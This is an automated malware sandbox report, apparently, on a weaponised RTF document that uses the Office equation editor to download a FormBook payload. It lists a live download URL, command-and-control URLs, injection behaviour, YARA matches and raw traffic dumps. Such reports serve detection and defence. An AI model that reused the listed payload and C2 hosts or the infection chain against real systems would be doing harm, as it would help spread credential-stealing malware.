9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 70 5e 1a fc ac 75 63 8e 96 42 4e 36 d9 e3 5f db 06 85 cf 85 6d d7 8e 10 95 7d 2c 8a f8 04 35 43 db 65 86 7b 66 af 97 51 1f cd 6f dd a3 f6 be 1b f6 0e 2a 98 50 0e 9d f8 6e fb 7a e1 8b 5d f1 bc 79 de 38 76 99 b8 33 f0 3c 01 26 7b de 08 69 f3 79 83 e0 15 3c 6f 44 cc 38 0b 9f 37 a9 bc a6 f2 79 83 08 d2 57 8f 0a 24 1d 37 02 44 90 3b ef 71 8e b9 f3 fe 65 bf 3b ef 7f 7a 7f 9b 3b 7f c4 9c 6c ad bf 68 42 b5 19 6a e5 bd 72 18 f8 24 b1 63 cf 3a 79 19 a9 bc be ae f9 9b 73 44 9f 75 2a f8 75 56 51 3d f9 59 db 2a 61 31 0b d1 3c 97 cb cd dd cd 29 16 70 ea 50 0b 3a 07 98 eb b4 44 3f 5e 37 70 b7 59 de cc d5 d9 1f 74 64 28 98 8e 31 c4 11 5d ee fb 30 d4 81 1e f3 f6 6d ff 84 af 26 31 fe aa 6f da 79 57 68 52 e8 37 8a a2 95 ef 28 e0 2b 3f e9 bf b7 01 9e 4b a7 9d eb cc f0 e8 8d 55 7b cd 9c f6 0f 5e 1f 03 43 8a db 1a 2b 22 8f ee da b7 c0 63 ac b9 fc b2 c6 d3 3c 93 b0 79 cc 88 27 af a9 59 51 f3 1c fe a5 6b 1f 70 c2 89 66 b5 1a ce ca 31 09 d7 4e 7c 92 ab e7 80 89 66 6d d7 f7 df f4 d5 07 9e 70 c2 eb 92 cc 57 94 3e fa f7 6e f0 a1 fc 6c ad 7a 0b 34 db 6b 5f 5c 9e ef af ca 2b f4 29 9b 87 77 65 61 62 ab 80 ae 6d 43 5f 10 8a 74 ad d0 f4 ac f8 b7 27 f1 4c 6a e2 6b a9 5f 0d e8 aa aa ec 93 7f 99 31 93 df 78 a2 62 fb 0b 03 8f a7 5a 39 8d 2a 94 21 54 78 06 54 af 15 3d 9f 9a 2c ac 9f 4f 4d db 86 cf a7 56 f3 f6 f9 24 39 6f 9e 4f 32 51 a9 6b 35 04 fa dd 77 d7 00 7f bc 11 c5 0d ea 13 9b 56 fd bd 6c 88 76 13 22 13 e8 94 f0 6a 75 7d 4f db 46 ef d9 45 fc c4 3a 49 Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 May 2024 06:55:46 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 9730Content-Type: text/html; charset=UTF-8Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 70 5e 1a fc ac 75 63 8e 96 42 4e 36 d9 e3 5f db 06 85 cf 85 6d d7 8e 10 95 7d 2c 8a f8 04 35 43 db 65 86 7b 66 af 97 51 1f cd 6f dd a3 f6 be 1b f6 0e 2a 98 50 0e 9d f8 6e fb 7a e1 8b 5d f1 bc 79 de 38 76 99 b8 33 f0 3c 01 26 7b de 08 69 f3 79 83 e0 15 3c 6f 44 cc 38 0b 9f 37 a9 bc a6 f2 79 83 08 d2 57 8f 0a 24 1d 37 02 44 90 3b ef 71 8e b9 f3 fe 65 bf 3b ef 7f 7a 7f 9b 3b 7f c4 9c 6c ad bf 68 42 b5 19 6a e5 bd 72 18 f8 24 b1 63 cf 3a 79 19 a9 bc be ae f9 9b 73 44 9f 75 2a f8 75 56 51 3d f9 59 db 2a 61 31 0b d1 3c 97 cb cd dd cd 29 16 70 ea 50 0b 3a 07 98 eb b4 44 3f 5e 37 70 b7 59 de cc d5 d9 1f 74 64 28 98 8e 31 c4 11 5d ee fb 30 d4 81 1e f3 f6 6d ff 84 af 26 31 fe aa 6f da 79 57 68 52 e8 37 8a a2 95 ef 28 e0 2b 3f e9 bf b7 01 9e 4b a7 9d eb cc f0 e8 8d 55 7b cd 9c f6 0f 5e 1f 03 43 8a db 1a 2b 22 8f ee da b7 c0 63 ac b9 fc b2 c6 d3 3c 93 b0 79 cc 88 27 af a9 59 51 f3 1c fe a5 6b 1f 70 c2 89 66 b5 1a ce ca 31 09 d7 4e 7c 92 ab e7 80 89 66 6d d7 f7 df f4 d5 07 9e 70 c2 eb 92 cc 57 94 3e fa f7 6e f0 a1 fc 6c ad 7a 0b 34 db 6b 5f 5c 9e ef af ca 2b f4 29 9b 87 77 65 61 62 ab 80 ae 6d 43 5f 10 8a 74 ad d0 f4 ac f8 b7 27 f1 4c 6a e2 6b a9 5f 0d e8 aa aa ec 93 7f 99 31 93 df 78 a2 62 fb 0b 03 8f a7 5a 39 8d 2a 94 21 54 78 06 54 af 15 3d 9f 9a 2c ac 9f 4f 4d db 86 cf a7 56 f3 f6 f9 24 39 6f 9e 4f 32 51 a9 6b 35 04 fa dd 77 d7 00 7f bc 11 c5 0d ea 13 9b 56 fd bd 6c 88 76 13 22 13 e8 94 f0 6a 75 7d 4f db 46 ef d9 45 fc c4 3a 49 Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g

Source: dfrgui.exe, 00000008.00000002.636013778.00000000036A0000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000004120000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://aceautocorp.com/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut
Source: sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635242428.0000000000AD5000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.aceautocorp.com
Source: sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635242428.0000000000AD5000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.aceautocorp.com/ufuh/
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: dfrgui.exe, 00000008.00000002.636013778.0000000002EC6000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003946000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.0000000000BF6000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.searchvity.com/
Source: dfrgui.exe, 00000008.00000002.636013778.0000000002EC6000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003946000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.0000000000BF6000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.searchvity.com/?dn=
Source: dfrgui.exe, 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmp, sqlite3.dll.8.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: dfrgui.exe, 00000008.00000003.467181580.0000000005F6C000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-114.png
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-57.png
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/images/iOS-72.png
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/responsive/styles/reset.css
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/images/additional-pages-hero-shape.webp
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/logo/logo-loopia-white.svg
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.loopia.se/shared/style/2022-extra-pages.css
Source: EQNEDT32.EXE, 00000002.00000002.359979447.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.359979447.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/loudzx.scr
Source: EQNEDT32.EXE, 00000002.00000002.359979447.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/loudzx.scrj
Source: EQNEDT32.EXE, 00000002.00000002.359979447.000000000063F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/loudzx.scrkkC:
Source: EQNEDT32.EXE, 00000002.00000002.359979447.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/v
Source: 13d6pS3.8.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-NP3MFSK
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
Source: dfrgui.exe, 00000008.00000002.636387246.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000337C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635396875.0000000003DFC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 6.2.loud89334.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loud89334.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: Doc PI.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 6.2.loud89334.scr.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 6.2.loud89334.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.loud89334.scr.4c80000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.loud89334.scr.341a370.4.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.loud89334.scr.4c80000.5.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.loud89334.scr.23f79d0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.loud89334.scr.23fa210.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 5.2.loud89334.scr.341a370.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.370449287.0000000004C80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4

Screenshot OCR: Enable editing from the yellow bar above.The independent auditors' opinion says the financial state

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\loud89334.scr			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040B0C3 NtCreateSection,	6_2_0040B0C3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040B2E3 NtMapViewOfSection,	6_2_0040B2E3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040AA93 NtSetContextThread,	6_2_0040AA93
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040BBB3 NtDelayExecution,	6_2_0040BBB3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040ACA3 NtResumeThread,	6_2_0040ACA3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040B513 NtCreateFile,	6_2_0040B513
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040A673 NtSuspendThread,	6_2_0040A673
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0042BF43 NtClose,	6_2_0042BF43
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040B743 NtReadFile,	6_2_0040B743
